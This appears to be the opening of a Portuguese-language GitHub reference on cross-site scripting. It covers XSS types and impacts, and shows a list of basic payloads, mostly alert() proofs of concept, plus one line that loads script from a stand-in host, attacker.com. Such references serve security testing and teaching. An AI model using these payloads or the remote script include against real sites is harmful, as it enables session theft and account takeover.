
Referência abrangente de XSS cobrindo payloads refletidos, armazenados, DOM e cegos, bypass de filtros, evasão de WAF, bypass de CSP, mXSS e estudos de caso reais de CVE.
A referência XSS mais abrangente do GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, bypass de filtros, evasão de WAF, bypass de CSP, mXSS, cadeias de prototype pollution e CVEs do mundo real. Atualizado para 2026.
Payloads · Bypass de Filtros · Evasão de WAF · DOM XSS · Bypass de CSP · Blind XSS · Avançado · Ferramentas
Cross-Site Scripting (XSS) é um ataque de injeção de código do lado do cliente no qual um atacante injeta scripts maliciosos em conteúdo servido por uma aplicação web confiável. Quando o navegador da vítima renderiza a página, o script injetado é executado com os mesmos privilégios que os scripts legítimos daquela origem.
XSS está consistentemente no OWASP Top 10 porque o impacto é grave e a superfície de ataque é enorme:
| Impacto | Descrição |
|---|---|
| Sequestro de Sessão | Roubar document.cookie e assumir sessões autenticadas |
| Tomada de Conta | Alterar email/password através de pedidos forjados usando a sessão da vítima |
| Keylogging | Capturar cada tecla pressionada, incluindo passwords, números de cartão de crédito |
| Phishing | Injetar formulários de login falsos que submetem credenciais ao atacante |
| Desfiguração | Modificar o conteúdo da página para espalhar desinformação ou envergonhar o alvo |
| Distribuição de Malware | Redirecionar vítimas para exploit kits |
| Mineração de Criptomoedas | Executar cryptominers nos navegadores das vítimas |
| SSRF / Varredura de Portas Internas | Usar o navegador da vítima para sondar a rede interna |
| Recolha de Credenciais | Ler credenciais preenchidas automaticamente a partir do DOM |
| Captura de Ecrã / Webcam | Capturar o ecrã via getDisplayMedia(), webcam via getUserMedia() |
O XSS contorna a Política de Mesma Origem (SOP). Como o script malicioso é servido a partir da origem alvo, o navegador trata-o como confiável. Isto significa que o XSS dá ao atacante:
HttpOnlylocalStorage e sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Tipo | Persistência | Quem é Afetado | O Servidor Vê o Payload? |
|---|---|---|---|
| Refletido | Não | Vítima direcionada | Sim |
| Armazenado | Sim | Todos os visitantes | Sim |
| DOM | Não | Vítima direcionada | Geralmente Não |
| Cego | Sim (remoto) | Administrador / usuário de backend | Sim (no ponto de injeção) |
Os payloads fundamentais que todo pesquisador de segurança conhece. Estes funcionam onde não existe filtragem.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert (quando alert está bloqueado)